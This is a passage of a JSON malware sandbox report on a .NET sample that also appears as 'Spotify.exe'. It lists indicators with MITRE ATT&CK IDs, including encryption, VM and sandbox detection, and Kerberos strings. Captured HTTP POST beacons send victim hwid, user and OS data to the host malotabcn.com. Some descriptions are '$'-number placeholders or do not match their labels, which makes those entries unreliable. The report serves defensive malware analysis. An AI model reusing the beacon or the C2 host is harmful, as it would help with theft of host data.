Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00000732.00000001.182341.075C0000.00000004.mdmp, 00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains symmetric decryption functionality in .NET code","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin\"\n Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"Spotify.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$28","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$29","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004104-00000C2C-1812958087\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004104-00000C2C-1812958119\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004104-00000C2C-1812958087\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004104-00000C2C-1812958119\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004104-00000C2C-1813183585\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004104-00000C2C-1813183610\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"\", Potential IP \"4.0.0.0\" found in string \"ion=4.0.0.0\n Culture=neutral\n PublicKeyToken=b03f5f7f11d50a3a\" />\"\n Potential IP \"4.0.0.0\" found in string \"ersion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"/>\", \"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://go.microsoft.com/fwlink/?linkid=42127\" - Source: \"00000000-00000732.00000000.180421.02F50000.00000004.mdmp\")\n Found URL \"http://go.microsoft.com/fwlink/?linkid=42127\" - Source: \"00000000-00004104.00000000.179084.03380000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE3CCAE0A987CE9B2ECF815AD43048]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE45FAE506CBB6AFCF2E6F20F29F05]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE45FAE506CBB6AFCF2E6F20F29F05]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \":\\WINDOWS\\SysWOW64\\Kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00000732.00000001.182341.075C0000.00000004.mdmp, 00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00000732.00000001.182341.075C0000.00000004.mdmp, 00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00000732.00000001.182341.075C0000.00000004.mdmp, 00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00000732.00000001.182341.075C0000.00000004.mdmp, 00000000-00000732.00000002.184260.075C0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"viderName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00000732.00000000.180421.02F50000.00000004.mdmp, 00000000-00000732.00000001.182341.02F50000.00000004.mdmp, 00000000-00000732.00000002.184260.02F50000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00004104.00000000.179084.03380000.00000004.mdmp\")\n Found string \"g=\"data source=.\\SQLEXPRESS;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|aspnetdb.mdf;User Instance=true\" providerName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00004104.00000001.179878.03380000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\" \"hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default\"\n \"POST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: www.malotabcn.com\nContent-Length: 103\" with payload:==> \"hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default\"\n \"POST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: malotabcn.com\nContent-Length: 103\nConnection: Keep-Alive\" with payload:==> \"hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default\"\n \"POST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: malotabcn.com\nContent-Length: 103\" with payload:==> \"hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69ac6b4d8f1f17efdf08d352"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"